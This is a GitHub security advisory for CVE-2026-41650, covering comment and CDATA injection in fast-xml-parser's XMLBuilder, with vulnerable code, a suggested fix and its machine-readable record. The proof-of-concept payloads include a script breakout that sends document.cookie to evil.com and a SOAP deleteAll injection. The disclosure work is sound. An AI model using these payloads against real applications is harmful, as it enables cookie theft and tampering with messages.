GHSA-GH4J-GQV2-49F6

Vulnerability from github – Published: 2026-04-22 20:04 – Updated: 2026-05-08 21:47
VLAI
Summary
fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters
Details

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

Summary

fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues: - CVE-2023-26920: Prototype pollution (parser) - CVE-2023-34104: ReDoS (parser) - CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder - CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.

Vulnerable Code

File: src/fxb.js

// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}

Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));

Output:

<root>
  <!----><script>alert('XSS')</script><!---->
  <data>legitimate content</data>
</root>

Test 2: CDATA Injection (RSS feed)

const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));

Output:

<rss>
  <channel>
    <item>
      <title>Article</title>
      <description>
        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
      </description>
    </item>
  </channel>
</rss>

Test 3: SOAP Message Injection

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));

Output:

<soap:Envelope>
  <soap:Body>
    <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
    <Action>getBalance</Action>
    <UserId>12345</UserId>
  </soap:Body>
</soap:Envelope>

The injected <Action>deleteAll</Action> appears as a real SOAP action element.

Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

1. COMMENT INJECTION:
   Injection successful: true

2. CDATA INJECTION (RSS feed scenario):
   Injection successful: true

4. Round-trip test:
   Injection present: true

5. SOAP MESSAGE INJECTION:
   Contains injected Action: true

Impact

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

  1. XSS: Inject <script> tags into XML/SVG/HTML documents served to browsers
  2. SOAP injection: Modify SOAP message structure by injecting XML elements
  3. RSS/Atom feed poisoning: Inject scripts into RSS feed items via CDATA breakout
  4. XML document manipulation: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

Suggested Fix

Escape delimiters in comment and CDATA content:

// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
    const safeVal = String(val).replace(/--/g, '&#45;&#45;');
    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}

// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:04:17Z",
    "nvd_published_at": "2026-05-07T15:16:07Z",
    "severity": "MODERATE"
  },
  "details": "# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters\n\n## Summary\n\nfast-xml-parser XMLBuilder does not escape the `--\u003e` sequence in comment content or the `]]\u003e` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.\n\nExisting CVEs for fast-xml-parser cover different issues:\n- CVE-2023-26920: Prototype pollution (parser)\n- CVE-2023-34104: ReDoS (parser)\n- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder\n- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities\n\nThis finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.\n\n## Vulnerable Code\n\n**File**: `src/fxb.js`\n\n```javascript\n// Line 442 - Comment building with NO escaping of --\u003e\nbuildTextValNode(val, key, attrStr, level) {\n    // ...\n    if (key === this.options.commentPropName) {\n        return this.indentate(level) + `\u003c!--${val}--\u003e` + this.newLine;  // VULNERABLE\n    }\n    // ...\n    if (key === this.options.cdataPropName) {\n        return this.indentate(level) + `\u003c![CDATA[${val}]]\u003e` + this.newLine;  // VULNERABLE\n    }\n}\n```\n\nCompare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.\n\n## Proof of Concept\n\n### Test 1: Comment Injection (XSS in SVG/HTML context)\n\n```javascript\nimport { XMLBuilder } from \u0027fast-xml-parser\u0027;\n\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst xml = {\n  root: {\n    \"#comment\": \"--\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\u003c!--\",\n    data: \"legitimate content\"\n  }\n};\n\nconsole.log(builder.build(xml));\n```\n\n**Output**:\n```xml\n\u003croot\u003e\n  \u003c!----\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\u003c!----\u003e\n  \u003cdata\u003elegitimate content\u003c/data\u003e\n\u003c/root\u003e\n```\n\n### Test 2: CDATA Injection (RSS feed)\n\n```javascript\nconst builder = new XMLBuilder({\n  cdataPropName: \"#cdata\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst rss = {\n  rss: { channel: { item: {\n    title: \"Article\",\n    description: {\n      \"#cdata\": \"Content]]\u003e\u003cscript\u003efetch(\u0027https://evil.com/\u0027+document.cookie)\u003c/script\u003e\u003c![CDATA[more\"\n    }\n  }}}\n};\n\nconsole.log(builder.build(rss));\n```\n\n**Output**:\n```xml\n\u003crss\u003e\n  \u003cchannel\u003e\n    \u003citem\u003e\n      \u003ctitle\u003eArticle\u003c/title\u003e\n      \u003cdescription\u003e\n        \u003c![CDATA[Content]]\u003e\u003cscript\u003efetch(\u0027https://evil.com/\u0027+document.cookie)\u003c/script\u003e\u003c![CDATA[more]]\u003e\n      \u003c/description\u003e\n    \u003c/item\u003e\n  \u003c/channel\u003e\n\u003c/rss\u003e\n```\n\n### Test 3: SOAP Message Injection\n\n```javascript\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true\n});\n\nconst soap = {\n  \"soap:Envelope\": {\n    \"soap:Body\": {\n      \"#comment\": \"Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!--\",\n      Action: \"getBalance\",\n      UserId: \"12345\"\n    }\n  }\n};\n\nconsole.log(builder.build(soap));\n```\n\n**Output**:\n```xml\n\u003csoap:Envelope\u003e\n  \u003csoap:Body\u003e\n    \u003c!--Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!----\u003e\n    \u003cAction\u003egetBalance\u003c/Action\u003e\n    \u003cUserId\u003e12345\u003c/UserId\u003e\n  \u003c/soap:Body\u003e\n\u003c/soap:Envelope\u003e\n```\n\nThe injected `\u003cAction\u003edeleteAll\u003c/Action\u003e` appears as a real SOAP action element.\n\n## Tested Output\n\nAll tests run on Node.js v22, fast-xml-parser v5.5.12:\n\n```\n1. COMMENT INJECTION:\n   Injection successful: true\n\n2. CDATA INJECTION (RSS feed scenario):\n   Injection successful: true\n\n4. Round-trip test:\n   Injection present: true\n\n5. SOAP MESSAGE INJECTION:\n   Contains injected Action: true\n```\n\n## Impact\n\nAn attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:\n\n1. **XSS**: Inject `\u003cscript\u003e` tags into XML/SVG/HTML documents served to browsers\n2. **SOAP injection**: Modify SOAP message structure by injecting XML elements\n3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout\n4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context\n\nThis is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).\n\n## Suggested Fix\n\nEscape delimiters in comment and CDATA content:\n\n```javascript\n// For comments: replace -- with escaped equivalent\nif (key === this.options.commentPropName) {\n    const safeVal = String(val).replace(/--/g, \u0027\u0026#45;\u0026#45;\u0027);\n    return this.indentate(level) + `\u003c!--${safeVal}--\u003e` + this.newLine;\n}\n\n// For CDATA: split on ]]\u003e and rejoin with separate CDATA sections\nif (key === this.options.cdataPropName) {\n    const safeVal = String(val).replace(/]]\u003e/g, \u0027]]]]\u003e\u003c![CDATA[\u003e\u0027);\n    return this.indentate(level) + `\u003c![CDATA[${safeVal}]]\u003e` + this.newLine;\n}\n```",
  "id": "GHSA-gh4j-gqv2-49f6",
  "modified": "2026-05-08T21:47:26Z",
  "published": "2026-04-22T20:04:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41650"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…